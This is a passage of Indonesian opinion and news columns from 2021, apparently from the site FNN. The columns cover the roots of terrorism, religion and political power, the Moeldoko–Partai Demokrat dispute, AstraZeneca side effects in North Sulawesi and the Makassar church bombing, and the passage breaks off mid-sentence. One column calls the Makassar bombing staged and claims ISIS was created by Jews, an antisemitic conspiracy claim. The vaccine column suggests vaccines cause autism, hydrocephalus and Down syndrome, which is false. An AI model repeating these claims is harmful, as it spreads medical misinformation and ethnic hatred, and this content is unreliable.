contoh personal terrorism adalah Gavrilo Princip yang menembak mati Archduke Franz Ferdinand pewaris tahta kerajaan Asutria Hungaria pada 28 Juni 1914 di Sarajevo. Diksi terorisme makin populer pada awal abad ke 21 ketika gedung World Trade Centre (WTC) New York yang merupakan simbol kapitalisme dan liberalisme dunia runtuh pada 11 september 2001 lalu. Peristiwa ini bagi bangsa Amerika disebut sebagai the day of infamy yang kedua setelah pengeboman Jepang atas Pearl Harbour pada 7 Desember 1941 silam. Kalau peristiwa Pearl Harbour mendorong Amerika untuk menyerang Jepang dan menghancurkan Jepang pada Perang Dunia II, peristiwa WTC mendorong Amerika memerangi apa yang disebutnya sebagai Terorisme. Celakanya peristiwa tersebut sering dikait-kaitkan dengan agama. Satu kesimpulan yang patut dipertanyakan. Benarkah peristiwa WTC itu karena motif Agama? Logika Teroris Jika kita bongkar seluruh literatur agama sampai kitab sucinya, maka kita akan menemukan bahwa logika teroris itu bukan berasal dari logika agama. Sebab tidak ada satu dogma agama satu pun yang mengajarkan terorisme pada penganutnya. Pada titik ini, yang justru harus banyak didiskusikan yaitu mencari akar persoalan penyebab munculnya terorisme di dunia, termasuk di Indonesia. Dalam konteks itu sejumlah pertanyaan patut diajukan. Bagaimana cara ilmuwan menemukan akar persoalan penyebab munculnya terorisme? Menggali argumen pelaku teror adalah salah satu solusinya. Cara terbaik menemukan data primer atau data yang bersumber dari pelaku utama teror adalah melalui salah satu teknik dalam metode penelitian kualitatif, yaitu melakukan wawancara mendalam (deept interview) terhadap pelaku teror. Sayangnya sampai saat ini belum ditemukan satupun hasil wawancara mendalam dan utuh terhadap para pelaku teror. Seringkali semua pelaku teror sudah mati sebelum digali logikanya melalui wawancara mendalam oleh para ilmuwan. Namun demikian, ada satu ilmuwan yang penulis baca dan realtif berhasil menemui mantan teroris berjumlah 60 orang. Meskipun wawancaranya tidak dijelaskan seberapa mendalam, tetapi mampu mengungkap secara psikologis. Tori DeAngelis mengutip temuan satu ilmuwan tersebut John Horgan, seorang Psikolog dan Direktur pada Center for Terrorism and Security Studies Amerika Serikat, setelah mewawancarai 60 teroris mengemukakan bahwa seseorang memilih jalan melakukan tindakan teror disebabkan karena tujuh hal penting. Pertama,) merasa marah, terasing, dan kehilangan hak. Kedua, meyakini bahwa keterlibatan politiknya tidak memungkinkan mengubah keadaan. Ketiga, merasakan ketidakadilan, Keempat, merasa perlu bertindak segera daripada mendiskusikan masalah. Kelima, mempercayai bahwa terlibat dalam kekerasan melawan negara merupakan hal yang dimaklumi. Keenam, ada yang mendukung dan bersimpati terhadap gerakan terorisme. Ketujuh, mempercayai akan mendapatkan penghargaan sosial dan psikologis (Tori DeAngelis, Understanding Terrorism, American Psychological Association, 2009:60). Alasan-alasan teroris yang ditemukan John Horgan d iatas, tidak satupun menyebutkan bahwa seseorang melakukan teror karena perintah agama. Manifesto & Surat Wasiat Sebagai akademisi, penulis meyakini bahwa masih terus dibutuhkan upaya untuk mengungkap dan mengurai apa yang sesungguhnya terjadi dibalik prilaku para teroris. Setiap peristiwa teror yang terjadi di sejumlah negara ternyata memiliki alasan-alasan yang berbeda, dan latar belakang yang berbeda. Dalam kesempatan ini penulis coba mencermati dua peristiwa penting dari pelaku teror di dua negara yaitu di Selandia Baru (2019) dan di Indonesia (2021). Pelaku dari dua peristiwa itu sama-sama meninggalkan dokumen. Dari dua peristiwa itu ada data dokumen yang bisa dicermati, yaitu dari teroris di Selandia Baru meninggalkan manifesto dan dari teroris di Indonesia meninggalkan surat wasiat. Pada 15 maret 2019 terjadi serangan terhadap jamaah salat Jumat di Masjid Al Noor dan Mushala Linwood di Christchurch, Selandia Baru. Peristiwa teror ini menewaskan 51 orang dan melukai 40 lainnya. Peristiwa ini dinilai sangat kejam, diantaranya karena ada satu peristiwa menurut pengakuan terorisnya ia melakukan dua tembakan langsung ke bayi berusia tiga tahun yang sedang memegangi kaki ayahnya yang sudah meninggal. Pelaku teror ini bernama Brenton Tarrant, pria berusia 28 tahun asal Australia.Sebelum melakukan teror ia membuat manifesto setebal 73 halaman yang diberi judul “The Great Repalcement”. Dari manifesto yang ia buat inilah publik dunia mengetahui motifnya. Setidaknya ada tiga alasan Brenton Terrant melakukan kejahatan kemanusiaan paling kejam di dunia ini. Pertama, mengurangi imigran. Kedua, supremasi kulit putih. Ketiga, balas dendam. Alasan yang sangat bertentangan dengan prinsip-prinsip kemanusiaan global. Di dokumen manifesto tersebut tidak ada alasan perintah agama yang mendasarinya melakukan tindakan teror. Bagaimana dengan alasan teroris di Indonesia melakukan aksi terornya? Ternyata di Indonesia beberapa kali teroris melakukan aksi teror selalu meninggalkan surat wasiat. Teroris terbaru yang meninggalkan surat wasiat adalah pelaku teror bom bunuh diri di Gereja Katedral Makassar (28/3) berinisial MLA ,dan teroris yang melakukan serangan ke Mabes polri (31/3) berinisial ZA. Uniknya, surat wasiat yang ditinggalkan terduga teroris tersebut memiliki kemiripan.Diantaranya diawal surat dibuka dengan permintaan maaf ke ibu. Lalu berpesan kepada orang tua agar tidak meninggalkan sholat. Kemudian bagian paling mirip adalah saat menyatakan bahwa dirinya menyayangi ibunya, tetapi Allah lebih menyayangi hambanya. Makanya saya tempuh jalanku sebagai mana jalan Nabi/Rasul Allah. Kedua pelaku juga sama-sama berpesan agar keluarganya berhenti meminjam uang di bank karena riba. Sulit menemukan motif dari surat wasiat yang ditinggalkan para teroris di Indonesia, kecuali seolah ia merasa jalan yang ia tempuh itu disayangi Allah. Fenomena membuat surat wasiat sebelum melakukan teror di Indonesia ternyata tidak hanya dilakukan oleh dua teroris tersebut. Tetapi juga dilakuka oleh teroris-teroris lainya. Diantaranya teroris yang ditangkap pada 10 Desember 2016 di Bekasi dan yang ditembak pada 25 Desember 2016 di Waduk Jatiluhur Purwakarta. Pertanyaan yang muncul dibenak penulis adalah, mengapa sejumlah teroris di Indonesia banyak yang buat surat wasiat? Mengapa ada yang memiliki kemiripan pada surat wasiatnya? Ada semacam satu pola perintah untuk membuat surat wasiat?. Kesamaan pola ini menunjukan kemungkinan adanya semacam satu mekanisme yang bekerja. Pada titik ini fenomena kemiripan surat wasiat teroris ini perlu diungkap sebagai salah satu celah untuk menelusuri lebih dalam. Adakah aktor-aktor kolektif terorganisisr yang memerintahkan atau semacam membuat tata cara melakukan teror dengan sebelumnya membuat surat wasiat? Atau mungkin saja telah disediakan contoh surat wasiat yang harus mereka siapkan? Untuk mengungkap semua itu perlu melibatkan para ahli yang memahami bahasa, psikologi, dan pola-pola terorisme. Untuk mengungkap terorisme dengan pola buat surat wasiat yang terjadi berkali-kali di Indonesia ini, sebaiknya pihak kepolisian segera melibatkan banyak ahli. Tujuannya agar ketemu sampai ke akar-akarnya. Apakah benar mereka aktor sendirian atau adah mekanisme kolektif yang bekerja? Lalu siapa mereka yang terlibat dalam mekanisme kolektif itu? Penulis adalah analis Sosial Politik Universitas Negeri Jakarta (UNJ).

Kekuasaan Itu Tak Kenal Agama

by Tony Rosyid Jakarta, FNN - Seringkali kita dengar kalimat "Islam disudutkan". Di Eropa, masyarakat Kristen juga merasa bahwa Kristen dipinggirkan. Terutama di Perancis yang sejak tahun 1905 secara ekstrem memisahkan negara dari gereja. Bergantung agama apa yang berhadapan dengan kekuasaan, seringkali merasa disudutkan dan dipinggirkan. Secara umum, bagi kekuasaan, agama tidak begitu penting kecuali sebagai alat legitimasi dan pemberi dukungan sosial. Agama apapun, Kalau memberikan dukungan sosial (social capital), didekati, diajak kerjasama dan dimanfaatkan. Memang, Islam di Timur Tengah dan Kristen di Eropa di masa lampau, serta Yahudi di Israel dan Islam di Arab Saudi saat ini, memiliki situasi dimana agama dan kekuasaan tidak saja harmonis, tapi menyatu. Keduanya bisa berbagi bersama karena saling membutuhkan dan saling meligitimasi. Namun, hubungan kekuasaan dan agama tak selalu akur. Bahkan seringkali memakan korban di sepanjang sejarah. Penindasan kekuasaan terhadap umat beragama (atau kelompok keagamaan) dan pemberontakan atas nama agama terhadap kekuasaan sering terjadi. Intinya, kekuasaan rukun dengan umat beragama jika agama itu dibutuhkan. Tapi, ketika agama jadi ancaman, cerita akan terlihat sebaliknya. Era pemilihan umum di banyak negara, agama sering menjadi bagian dari isu penting. Bergantung kecenderungan pemilih. Kalau pemilihnya punya fanatisme terhadap agama tertentu, maka para tokohnya direkrut dan dilibatkan sebagai vote getter. Narasi agama muncul menjadi penguat legitimasi. Semata-mata untuk mencari dukungan suara. Hal ini terjadi di Indonesia. Musim pemilu, ulama, kiai, ustaz, pendeta, dan tokoh-tokoh agama laris dan banjir proyek. Kontrak kampanye bertebaran. Selesai kampanye, the end. Sebaliknya, jika di negara dimana pemilihnya anti agama, maka isu agama dijadikan sebagai common enemy. Musuh bersama. Bukan karena calon penguasa tidak suka dan benci terhadap agama tertentu. Tidak! Tapi lebih pada upaya mendapatkan simpati dan dukungan pemilih yang phobi terhadap agama itu. Only that. Di Amerika, Australia, Perancis, dan beberapa negara Eropa lainnya, kampanye anti Islam seringkali muncul saat pemilu. Bukan karena calon presiden atau perdana menteri gak suka sama Islam. Tapi ini semua dilakukan untuk mengambil suara dari kantong pemilih yang anti dan phobi terhadap Islam. Setelah jadi presiden, mereka tidak benar-benar memusuhi Islam. Meski terkadang memang ada yang benci terhadap Islam. Ini cenderung sebagai oknum dan lebih bersifat kasuistik. Tidak bisa digeneralisir. Sebab dalam politik, kepentingan umumnya menetralisir hal-hal yang berkaitan dengan perasaan personal, termasuk rasa suka dan kebencian. Banyak orang mati rasa ketika jadi pemimpin. Sebaliknya, di Indonesia, capres-cawapres, para caleg dan calon kepala daerah, justru menggunakan narasi agama, bahkan melibatkan para agamawan, terutama ulama dan ustaz sebagai juru kampanye. Bukan karena mereka religius. Bukan lantaran mereka taat beragama lalu mengusung isu agama, tidak! Kampanye pakai peci, tapi gak shalat. Mengutip Alkitab, tapi gak pernah ke gereja. Ini hal biasa. Dan faktanya, saat menjabat, nyaris tak ada kepentingan agama, ulama dan umat yang diperjuangkan. Para politisi secara umum hanya memanfaatkan fanatisme keagamaan pemilih untuk meraih dukungan. Mungkin mengecualikan PKS, karena mendedikasikan sebagai partai dakwah. Melekat agama dalam perjuangannya. Sampai hari ini, nampaknya masih konsisten. Dalam proses kekuasaan, kalau agama itu resisten dan jadi ancaman bagi kekuasaan, ya disikat. Disingkirkan. Setidaknya dipinggirkan. Entah dengan cara dipreteli legitimasinya, dikurangi perannya, dibubarkan ormasnya, dikriminalisasi dan diteroriskan tokoh-tokohnya, atau diadudomba hingga dengan sendirinya porak poranda. Ini bukan karena penguasa benci dan tidak suka pada agama. Sama sekali tidak. Ini semata-mata untuk mempertahankan kekuasaan dimana penguasa merasa terancam oleh aksi kelompok keberagamaan tertentu. Dalam konteks ini, menjadi tantangan bagi umat beragama untuk selalu mengasah kemampuannya membangun komunikasi dan bernegosiasi dengan kekuasaan, beradaptasi, atau setidaknya jika ingin berpolitik, bahkan beroposisi, dibutuhkan kemampuan strategi yang mampu memenangkan agama dalam dialektikanya dengan kekuasaan. Sehingga, agama akan selalu bisa eksis dalam dinamika kekuasaan yang terus bergilir dan berganti-ganti aktornya. Di sini butuh kemampuan menterjemahkan formalitas, nornalitas dan moralitas agama ke dalam konteks yang terus menuntut perubahan. Simbol, atribut, dan ajaran normatif dalam agama sangat penting, namun mesti dikemas dalam bentuk aksi perjuangan yang tepat dan lebih taktis. Sebab, agama tanpa strategi perjuangan yang tepat pada faktanya telah mengambil banyak risiko bagi nasib pemeluk dan eksistensi masa depan agama itu sendiri. Satu sisi, agama tidak boleh kehilangan prinsip dan nilai-nilai fundamentalnya, tapi disisi lain, untuk eksis dan punya pengaruh, meniscayakan langkah-langkah operasional yang strategis. Ekspresi keberagamaan rentan untuk berhadap-hadapan, bahkan bermusuhan dengan kekuasaan. Disinilah umat beragama seringkali mengambil risiko ketika kekuasaan sudah mulai merasa terancam. Relasi pro-kontra agama-kekuasaan dalam sejarah mesti mampu mematangkan umat beragama untuk membuat pilihan-pilihan yang lebih strategis agar agama terus mampu mempertahankan eksistensinya dan punya ruang untuk menebarkan pengaruh sosialnya. Penulis adalah Pengamat Politik dan Pemerhati Bangsa

Secara Politik, Moeldoko Sudah Selesai!

by Mochamad Toha Surabaya, FNN - Tak diakuinya hasil Kongres Luar Biasa “Partai Demokrat” di Deli Serdang oleh Pemerintah memberikan pukulan telak bagi kepengurusan di bawah kepemimpinan Moeldoko. Berharap mendapat “dukungan” Pemerintah karena Moeldokoada di lingkar dalam Istana. Moeldoko menjabat Kepala Kantor Staf Presiden.Namun, dalam kenyataannya berbanding terbalik. Alhasil olok-olok Jenderal kalah dengan Mayor pun mengemuka di publik. Posisi Moeldoko sebagai Kepala KSP pun ikut terjepit. Sebab, banyak kalangan menganggap dengan jabatannya sebagai Kepala KSP dan menjadi representasi Pemerintah, Moeldoko sudah memberikan coretan "arang" bagi Istana. Dan karena ulah Moeldoko pula hubungan antara Presiden Joko Widodo dengan Presiden ke-6 Susilo Bambang Yudhoyono bisa dan mulai retak. Pasalnya, hingga kini SBY, masih tetap tercatat sebagai pendiri dan Ketua Dewan Pembina Partai Demokrat. Pemerintah telah memutuskan menolak pendaftaran hasil kongres luar biasa (KLB) di Deli Serdang, Sumatera Utara, yang digelar sepihak oleh Moeldoko. KLB yang digelar Moeldoko Cs dinilai belum melengkapi sejumlah dokumen. “Dari hasil pemeriksaan dan atau verifikasi terhadap seluruh kelengkapan dokumen fisik, sebagaimana yang dipersyaratkan masih ada beberapa kelengkapan yang belum dipenuhi,” kata Menkumham Yasonna H. Laoly saat konferensi pers virtual, Rabu (31/3/2021). Dokumen yang belum dilengkapi antara lain soal DPC, DPD, hingga surat mandat. Oleh sebab itu, pemerintah menolak permohonan hasil KLB “Partai Demokrat” di Deli Serdang, Sumatera Utara, itu. “Dengan demikian, pemerintah menyatakan bahwa permohonan hasil kongres luar biasa di Deli Serdang tanggal 5 Maret 2021 ditolak,” ujar Yasonna. Sebelumnya, hasil KLB di Deli Serdang dan kepengurusan versi Moeldoko didaftarkan ke Kemenkumham pada pertengahan Maret 2021. Jubir DPP “Partai Demokrat” Moeldoko, Ilal Ferhard, mengatakan kubunya akan menerima apa pun hasil pengumuman yang dikeluarkan Kemenkumham. “Memang dari awal pasca-KLB berlangsung, kami dari kubu Pak Moeldoko, sebagai ketua umum kami, mengatakan apa pun yang terjadi, apa pun putusan-putusan Kemenkumham, jelas kami menerima dengan lapangan dada,” ucap Ilal. Menurut Yasonna, dari pemeriksaan dan verifikasi tahap pertama tersebut, Kemenkumham menyampaikan sempat mengirim surat pada 19 Maret lalu yang intinya meminta melengkapi kelengkapan dokumen. Dengan keputusan ini, maka pemerintah tetap menganggap kepengurusan Paratai Demokrat di bawah Ketum Agus Harimurti Yudhoyono (AHY) sebagai yang sah. Konferensi pers ini juga dihadiri oleh Menko Polhukam Mahfud MD. Sebelumnya, Ketua “Dewan Kehormatan” Demokrat Moeldoko, Max Sopacua mengatakan akan langsung mengajukan gugatan ke PTUN jika Kemenkumham menolak mengesahkan kepengurusan mereka. “Ya saya kira prosesnya masih jalan. Jalan masih panjang (gugat PTUN). Proses berjalan terus karena kita ingin membuat demokratisasi terbangun di Partai Demokrat," kata Max, Rabu (31/3/2021). “Itu proses jalurnya ke sana (gugat PTUN). Kan Pak Laoly (Menkumham Yasonna Laoly) sendiri mengatakan pertarungan itu ada di PTUN, di pengadilan,” lanjut Max. Jika melinhat kenyataan politik seperti itu, sebetulnya Moeldoko sudah selesai jauh hari. Itu terlihat dari pernyataan petinggi-petinggi PDIP sebelumnya. Moeldoko sudah sowan ke Ketum DPP PDIP Megawati Soekarnoputri untuk mencari dukungan. Namun, kader-kader utama seperti Sekjen PDIP Hasto Kristiyanto tetap keukeuh menyatakan kabar tersebut bohong. Dia membantah bahwa sudah ada pertemuan antara Mega-Moeldoko. Keinginan Moeldoko agar Mega memerintahkan kader PDIP, Menkumham Yasonna, supaya mengesahkan Partai Demokrat versi “Kudeta Luar Biasa” itu pun sirna. Karena tak direspon Mega, Moeldoko pun menghilang bagaikan ditelan bumi. Upaya terakhirnya adalah bikin fitnah baru soal adanya pergeseran ideologi (radikalisme) di Partai Demokrat. Moeldoko tidak sadar. Ia berusaha merebut sebuah Dinasti yang dibangun SBY, sementara orang yang dimintai tolong yaitu Mega, orang yang melanggengkan Dinasti. Lebih parahnya lagi, Mega sudah mengalami trauma secara psikologis saat Relawan Jokowi pernah terang-terangan berwacana menaikkan Jokowi sebagai Ketum PDIP. Relawan Jokowi juga mengancam akan membentuk partai sendiri jika tujuannya tidak berhasil. Mega sendiri juga tahu soal rencana Hostile Takeover PDIP oleh loyalis Jokowi. Jadi, kalau merestui kudeta Moeldoko akan sama seperti Mega merestui kudeta kepada diri sendiri. Akibatnya, sebagai contoh, Maruara Sirait yang lebih memilih loyal kepada Jokowi daripad kepada Mega saja, langsung dihukum tendang dari Caleg nomor jadi ke nomor 9 dan dipaksa pindah konstituen. Otomatis Ara, begitu panggilan akrab Maruara Sirait, gagal masuk parlemen dan tersingkir dari lingkaran dekat Mega. Secara psikologis, SBY dan Mega akan saling mendukung kalau soal Politik Dinasti. Posisi Moeldoko sebagai Kepala KSP sekarang ini di ujung tanduk. Sudah saatnya Jokowi harus bisa mengembalikan Citra Presiden. Sebab, selama 2 bulan terakhir ini citra Presiden telah “dirusak” oleh Moeldoko. Atas perilaku dari Moeldoko itu, Pemerintah yang akan kena getahnya. Terutama Presiden Jokowi. Kali ini Jokowi benar-benar diuji! Dan, ujian itu sudah terjawab: Pemerintah tidak “merestui” kepengurusan “Partai Demokrat” Moeldoko Cs. Moeldoko terbukti telah khianati seniornya (SBY) dan yuniornya (AHY) dan terbukti nyata mengabaikan jiwa “korsa”. Sama-sama berlatar belakang militer, Moeldoko telah menelikung seniornya: SBY, dan juniornya: AHY. Kabarnya, Presiden Jokowi sebelum mengangkat Moeldoko sudah diperingatkan para alumni Lembah Tidar: Moeldoko berpotensi rusak citra Presiden di penghujung pemerintahan! Tapi, Presiden hanya berharap, alumni Lembah Tidar harus membantu Jokowi. Konon pula, dengan manuver Moeldoko yang telah merusak Citra Presiden ini, mereka sudah menyarankan agar Presiden Jokowi mencopot Moeldoko dari posisinya di KSP. Penulis adalah Wartawan Senior FNN.co.id.

Wanita Jilbab Duduk di Motor Menghadap ke Kanan, Terorisme Atau Telorisme?

by M. Rizal Fadillah Bandung FNN - Bom bunuh diri Gereja Katedral Makassar terus diinterprestasi publik. Sebenarnya atau rekayasa. Negara dan aparat kecolongan atau ada yang sengaja nyolong-nyolong? Internasional, nasional, atau lokal, Islam atau Islam-islaman, teror atau teror-teroran. Terorisme atau telorisme? Semua pertanyaan itu menjadi pembicaan publik. Telor itu dihasilkan dari ayam, bebek, burung atau sejenisnya. Telor adalah produk dari kolaborasi atau konspirasi jantan dan betina. Dari hubungan intim. Telor bisa dimakan mentah, setengah matang, didadar, ceplok, atau lainnya. Ada telor asin ada telor pindang. Telornya diolah sesuai selera sipembuat. Telur busuk bisa juga untuk dilempar-lempar. Pemimpin yang pembohong dan pembuat susah rakyat pantas untuk dilempar telur busuk. Tuman. Telorisme adalah sesuatu yang dihasilkan dari konspirasi, yang diolah sesuai dengan kepentingan pemilik otoritas, baik otoritas budaya, ekonomi maupun politik. Karenanya bersifat multi purpose. Telorisme berupaya menjadikan suatu produk dapat digunakan dan diolah sesaat lalu selesai (split second) atau dapat digunakan berulang-ulang melalui penetasan (hatching). Pertanyaan besar atas kasus peledakan bom bunuh diri Gereja Katedral Makassar adalah apakah itu teror atau telor, terorisme atau telorisme? Meninjau banyak kejanggalan dari kasus ini nampaknya lebih dekat pada telorisme. Di media sosial banyak netizen cerdas dan jeli dalam menganalisa dan menduga-duga. Suami istri nikah baru enam bulan, kok bunuh diri spektakuler dengan mainan bom. Memilih Gereja dinilai aneh untuk berjihad. Apalagi cuma di halaman Gereja. Mengapa tidak tempat karaoke, panti pijat, atau mungkin lokalisasi pelacuran. Jika orientasinya adalah daulah, ya istana atau gedung parlemen. Dalam agama, merusak rumah ibadah apa saja itu dilarang. Bahkan merusak apapun, bukanlah tuntunan agama. Walau dengan menggunakan atribut keagamaan bersorban atau berhijab. Jamaah Anshorud Daulah (JAD) adalah makhluk jadi-jadian yang dijadikan dan diproduksi oleh makhluk jahat berkualifikasi Iblis. Agama Islam yang dimain-mainkan. Afiliasi ISIS? ISIS itu buatan Yahudi, maka JAD adalah buatan institusi yang berafiliasi dengan Yahudi. Berjuang untuk Daulah? Mendirikan Daulah dengan berboncengan indehoy suami-istri, piknik ke Gereja? Filem kartun-kartunan saja tidak ada yang mau untuk bercerita seperti itu. Sebab pasti dijamin tidak akan laku. Netizen mengungkap kejanggalan foto viral sang teloris yang cepat dimuncukan. Kok wanita dibonceng menghadap kanan? Yang lazim, ya ke kiri. Hasil CCTV atau jepretan foto? Ranca bana. Lucu, ke Gereja berbusana muslim bersorban dan berhijab burqa, serta Gereja beraspal mulus. Tetapi foto bersepeda motor suami istri, ko bukan berjalan aspal? Ah ada-ada saja. Kurang canggih dong? Apapun itu, memunculkan sosok beridentitas muslim sebagai pelaku bom bunuh diri itu tendensius dan menghina umat Islam. Pengendali atau perekayasa memang Dajjal yang bukan saja berniat untuk mengadu-domba. Tetapi juga framing pembenaran tentang radikalisme, ekstrimisme, dan terorisme. Yang hebat dan mengagumkan lagi, dengan langkah yang super cepat dari Makassar, lalu berlanjut dengan penggerebegan di Condet . Hasilnya menjadikan buku fisika dan kaos FPI sebagai barang bukti. Untung saja FPI sudah dibubarkan jadi kaosnya bisa beli dari loakan he he he Walaupun demikian, kita tidak perlu terlalu serius dalam membaca peristiwa yang berbau politik. Toh sering tidak nyambung hukum kausalitasnya atau berbeda das sollen dengan das seinnya. Bangsa ini diwanti-wanti harus mewaspadai bahaya radikalisme dan terorisme. Akan tetapi yang muncul adalah telorisme. Hidup teloooor.. ! Pemerhati adalah Politik dan Kebangsaan.

KIPI Jatuh Akibat AstraZeneca, Satgas Sulut "Suspend" Vaksinasi Covid

By Mochamad Toha Surabaya, FNN - Sulawesi Utara pada akhirnya menghentikan sementara penggunaan Vaksin AstraZeneca karena munculnya efek samping pada 5-10 persen warga yang disuntik. Satgas Covid-19 setempat menghentikan sementara penggunaan vaksin dari Inggris tersebut. Komnas Kejadian Ikutan Pasca Imunisasi (KIPI) masih menunggu hasil laporan investigasi penerima vaksin AstraZeneca di Kota Manado dan Kota Bitung setelah Satgas Covid-19 Sulawesi Utara menghentikan sementara penggunaan AstraZeneca. Alasan satgas daerah menyetop sementara AstraZeneca adalah karena muncul efek simpang seperti demam atau nyeri badan hingga tulang. “Kalau misalnya serius dan membahayakan, tentunya akan dihentikan atau di-suspend atau ditunda,” kata Hindra Irawan. Ketua Komnas KIPI itu mengaku, pihaknya sudah menerima laporan dari Komda KIPI Sulut terkait hal ini, yaitu efek simpang berstatus ringan hingga sedang. “Saya sudah menghubungi Komda (KIPI). Memang ada KIPI, sedang dilakukan investigasi,” tuturnya. Sementara itu, Kementerian Kesehatan mengatakan Dinkes Sulut telah memberikan surat pemberitahuan penyetopan vaksin AstraZeneca karena ditemukan KIPI terhadap 5-10% warga yang menerima vaksin AstraZeneca. “Suratnya baru (diterima) hari ini. Sudah akan dikaji dulu oleh ITAGI (Indonesian Technical Advisory Group on Immunization),” ujar juru bicara vaksinasi Covid-19 Kemenkes Siti Nadia Tarmizi. Menurutnya, Kemenkes masih menunggu kajian Komnas KIPI untuk memutuskan kebijakan soal penggunaan AstraZeneca secara nasional. Kepala Satgas Covid-19 Sulut Steven Dandel mengatakan keputusan ini diambil untuk memastikan aspek kehati-hatian. Dalam Emergency Use Authorization (EUA) vaksin AstraZeneca disebutkan, KIPI ini adalah efek simpang (adverse effect) AstraZeneca yang sifatnya sangat sering terjadi very common, artinya 1 di antara 10 suntikan dan sering terjadi common -1 di antara 10 sd 1 di antara 100. Agar tidak terjadi kepanikan, Steven mengatakan pemerintah akan mempersiapkan komunikasi risiko agar masyarakat memahami fakta dari insiden tersebut. Namun sebelum itu, Steven memastikan investigasi akan segera dilakukan oleh Komda KIPI, Dinas Kesehatan Sulut, Kementerian Kesehatan dan Organisasi Kesehatan Dunia. Sulut adalah satu dari 6 provinsi yang mendapatkan vaksin AstraZeneca, selain Bali, NTT, Jawa Timur, DKI Jakarta, dan Riau. Sebanyak 50.000 dosis vaksin AstraZeneca juga telah tiba di Kota Manado sepekan lalu. Mengutip Detik.com, Satuan Tugas Penanganan Covid-19 Sulawesi Utara melaporkan 990 orang dari 3.990 penerima vaksin AstraZeneca mengalami KIPI berupa demam, menggigil, nyeri badan hingga tulang dan muntah serta mual. Keputusan Satgas Covid-19 Sulut yang diambil untuk memastikan aspek kehati-hatian itu bisa disebut “sangat berani”. Pasalnya, selama ini jika terjadi kasus serupa biasanya selalu dijawab dengan dalih “bukan KIPI”. Sejak awal, kalangan ahli virus atau bakteri ada yang berpendapat, di bahan vaksin itu ada satu bahan yang berfungsi sebagai katalisator/stabilizer. Katalisator atau stabilizernya itu bisa: mengandung bakteri X atau enzim/protein dari bakteri X itu. Keduanya, mampu merusak sistem membran semi permeabilitas sel atau membran selektif permeabel sel. Sementara bahan-bahan vaksin itu terdiri dari virus/bakteri/antigen, pengawet (thimerosal?), bahan adjuvant, dan sebagainya. Setelah sistem membran permeabilitas atau membran selektif permeabel sel itu dirusak oleh protein stabilizer ini, maka kandungan zat-zat adjuvant maupun pengawet itu bisa tersebar ke mana-mana, ke seluruh darah, bahkan ke seluruh sel. Sehingga akan terbentuk kelainan-kelainan ikutannya. Dari sudut pandang ini bisa dipahami pula, kalau vaksin itu diduga berpotensi bisa menyebabkan KIPI dengan berbagai bentuknya, antara lain: autis, hedrocefalus, down syndrome, hiperaktif, crohns disease, dan sebagainya. Kena Covid Tidak sedikit laporan di lapangan yang menyebutkan bahwa sejumlah dokter dan nakes lainnya, termasuk juga pejabat publik yang mengaku dirinya terinfeksi Covid-19 usai divaksinasi. Menteri Kesehatan Budi Gunadi Sadikin menyebutkan salah satu faktornya adalah seseorang mengabaikan protokol kesehatan usai divaksinasi. Sebab, vaksin bukanlah sebuah pelindung utama yang bisa menjadikan seseorang mutlak kebal terhadap virus. “Disuntik vaksin tak akan bikin kita jadi Superman. Enggak bisa bikin kita kebal virus,” ujar Menkes dalam pidatonya saat meresmikan layanan Vaksinasi Drive-Thru di Rumah Sakit Universitas Indonesia (RSUI), Kamis (25/3/2021). “Makanya kalau ada orang bilang, kok kena Covid-19 ya sudah divaksin? Ya iya, habisnya setelah divaksinasi jalan-jalan tanpa masker misalnya,” tegasnya, seperti dilansir JawaPos.com (25 Maret 2021, 15:53:50 WIB). Menurutnya, antibodi kekebalan baru akan terbentuk setelah 28 hari usai suntik vaksin dosis kedua. Dan itupun tak menutup kemungkinan untuk kebal sepenuhnya dari virus. Setelah 28 hari pun bisa kena Covid-19, tapi tak akan parah. Karena kita punya antibodi. “Kalau terbentuk optimal pun tak membentuk bapak jadi Superman. Tapi, sakit pun tak akan parah dan masuk RS,” tegas Menkes. Juru Bicara Pemerintah Untuk Covid-19 Wiku Adisasmito mengingatkan masyarakat untuk terus disiplin protokol kesehatan. Sebab kini menurutnya mulai mengendur di banyak negara karena terlena dengan kedatangan vaksin. Mengingat laju penyuntikan vaksin tak sebanding dengan laju penularan virus Covid-19. Menurut Wiku, kelalaian dalam menerapkan protokol kesehatan itu sangat berpotensi untuk menyebabkan potensi penularan di tengah penduduk. Wiku mengingatkan sejalan dengan temuan tersebut, maka dia meminta semua orang untuk memandang vaksin sebagai solusi penanganan pandemi Covid-19. Vaksin akan membantu menyelamatkan nyawa. Akan tetapi jika kita hanya mengandalkan vaksin, maka kita membuat kesalahan. Perubahan perilaku harus menjadi pondasi utama dari usaha kita menghentikan penularan virus Covid-19 di Indonesia mengingat telah ditemukannya kasus mutasi baru Covid-19. “Selanjutnya merupakan tanggung jawab kita semua untuk tetap mencegah penularan terjadi di tengah masyarakat dengan disiplin menerapkan protokol kesehatan,” jelas Wiku. Bagaimana dengan dokter dan nakes yang meninggal? Rasanya tidak mungkin kalau mereka mengabaikan prokes pasca divaksin! *** Penulis wartawan senior FNN.co.id

Investigas Bom Makassar Versus Investigas KM-50

By Asyari Usman Medan, FNN - Investigasi bom bunuh diri Makassar yang terjadi pada 28 Maret 2021 bisa jadi adalah salah satu yang terbaik dan tercepat di dunia. Juga yang paling efisien dan paling komprehensif. Rekaman CCTV ledakan berkualitas terbaik di dunia. Rekaman berwarna dan sangat “sharp” (tajam). Ada mobil warna merah, ada yang berwarna abu-abu metalik, ada warna hitam, warna putih, dlsb. Warna api ledakan pun cukup tajam. Sudut rekaman CCTV sangat bagus. Setelah beberapa mobil lewat yang disusul mobil putih, bom pun meledak. Beberpa detik setelah ledakan, lewat mobil abu-abu metalik. Mobil ini membanting ke kiri; kemungkinan refleksi pengendaranya. Tidak ada informasi tentang dari CCTV gedung mana rekaman ini diperoleh. Tapi, proses untuk mendapatkannya sangat cepat. Identifikasi pelaku pun, juga sangat kilat. Inisial pelaku terungkap dalam waktu tak sampai 2 x 24 jam. L dan YSF. Pasangan suami-isteri. Polisi bisa mengetahui kapan mereka menikah. Yaitu, baru enam bulan. Foto CCTV pelaku yang mengendaraai sepedamotor matik, sangat jelas. Bisa pula didapatkan surat wasiat berjihad yang ditulis pelaku kepada orang tuanya. Informasi mengenai sepedamotor yang digunakan pelaku, sangat lengkap. Nomor plat DD-5984-MD. Nomor ini juga sangat jelas di foto yang diambil dari CCTV. Berdasarkan informasi dari Badan Pendapatan Daerah (Bapenda) Sulsel, sepeda motor matik merek Honda buatan 2014 Kepemilikan pertama. Pajak motor sudah habis masa berlakunya pada 20 Oktober 2020. Total tunggakan pajak adalah sekitar 